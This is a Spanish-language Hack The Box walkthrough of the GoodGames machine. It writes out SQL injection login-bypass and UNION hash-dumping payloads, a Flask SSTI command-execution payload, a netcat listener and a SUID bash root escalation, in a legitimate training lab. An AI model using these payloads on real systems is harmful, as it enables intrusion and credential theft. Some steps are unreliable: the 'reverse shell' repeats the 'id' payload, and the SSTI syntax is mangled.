Walkthrough — GoodGames (Hack The Box)
Un recorrido completo y detallado de la máquina GoodGames de HTB, donde aprovechamos vulnerabilidades web para escalar hasta obtener acceso como root.
🔰 Introducción
GoodGames es una máquina de dificultad fácil, pero con una serie de pasos muy interesantes, que involucran inyecciones SQL, exposición de subdominios internos y explotación de plantillas en Flask.
- SO: Linux
- Dificultad: Easy
- Herramientas:
nmap,burpsuite,ffuf,netcat,python
🔍 Escaneo de puertos con Nmap
El primer paso en casi cualquier evaluación de seguridad es descubrir qué servicios están expuestos al exterior. Utilizamos nmap, una herramienta fundamental en el reconocimiento de redes, para realizar un escaneo completo de puertos con detección de versiones y scripts por defecto:
nmap -sC -sV -p- -T4 10.10.11.130
-sC: Usa los scripts por defecto de Nmap (como detectar versiones, scripts de seguridad, etc.)-sV: Detecta la versión del servicio en ejecución en cada puerto.-p-: Escanea todos los puertos (del 1 al 65535).-T4: Aumenta la velocidad del escaneo.
Este escaneo nos proporciona un mapa inicial del sistema de destino. Descubrimos que el puerto 80 (HTTP) está abierto y ejecutando un servidor Apache junto con Werkzeug (usado comúnmente con Flask).
Comenzamos descubriendo los puertos abiertos con nmap:
nmap -sC -sV -p- -T4 10.10.11.130

Nos revela el puerto 80 abierto, corriendo Apache con una aplicación web en Werkzeug/Python.
🌐 Acceso a la web principal
Visitamos el sitio web y nos encontramos con una interfaz de login. Sin embargo, el formulario impide usar direcciones de correo inválidas.

🧪 Modificando la petición con BurpSuite
Interceptamos la petición con Burp y modificamos el campo email, intentando una inyección SQL.
email='admin' or 1=1 -- -&password=gueco

✅ Login exitoso como administrador
¡La inyección SQL funciona! Nos autentica como el usuario admin.

🕵️♂️ Probando extracción con UNION
Probamos una consulta UNION SELECT básica:
email=' union select 1,2,3,4-- -&password=gueco
Esto nos muestra datos internos.

🧠 Extracción de usuarios con CONCAT
Ahora, usamos CONCAT para unir id, name, email, password y visualizarlo en la respuesta:
email=' union select 1,2,3,concat(id, ':', name, ':', email, ':', password) from user-- -&password=password

🔓 Rompiendo el hash MD5
El hash MD5 recuperado es crackeado fácilmente online, revelando la contraseña: superadministrator.

🧭 Descubriendo un subdominio interno
En la parte superior del dashboard web, vemos un engranaje que enlaza a internal-administration.goodgames.htb.
Lo añadimos al archivo /etc/hosts.

🔐 Portal de login Flask Volt
El subdominio nos presenta un nuevo portal hecho en Flask.

🛠️ Interfaz de administración
Accedemos al dashboard administrativo tras autenticarnos como admin.

🔍 SSTI en plantilla de perfil
Detectamos una vulnerabilidad SSTI (Server Side Template Injection) al modificar el nombre en el perfil.
{{ namespace.init.globals.os.popen(‘id’).read() }} 
🎯 Preparando una reverse shell
Enviamos una reverse shell a nuestra máquina desde la vulnerabilidad SSTI:
{{ namespace.init.globals.os.popen(‘id’).read() }}

📞 Capturando la shell con netcat
Escuchamos en nuestro equipo con netcat:
nc -lnvp 1234

🐚 Shell como root dentro del contenedor
¡Tenemos acceso root dentro del contenedor Docker!

🧾 Leyendo la flag de usuario
Entramos en el directorio del usuario augustus y obtenemos user.txt.

📡 Descubrimiento de red interna
Vemos que nuestra IP es 172.19.0.2, lo cual sugiere una red interna. Intentamos conectar a 172.19.0.1.

🔐 Conexión SSH al host
Utilizamos las credenciales descubiertas para conectarnos vía SSH al host principal desde el contenedor.
ssh augustus@172.19.0.1

🚪 Escalada con bash SUID
Creamos un binario de bash, lo hacemos SUID y lo usamos para escalar privilegios:
cp /bin/bash .
chown root:root bash
chmod 4777 bash

👑 Shell privilegiada y flag de root
Ejecutamos el bash con -p para obtener privilegios de root y leemos root.txt.
./bash -p
cat /root/root.txt

🏁 Resumen final
| Etapa | Resultado |
|---|---|
| Enumeración | Portal web con login vulnerable |
| Explotación | SQLi para obtener hash y subdominio interno |
| Escalada I | SSTI → Shell en contenedor como root |
| Escalada II | SSH al host principal y bash SUID |
| Flags | user.txt y root.txt |
Autor: gueco99
🧠 Hack the Box – GoodGames (Easy)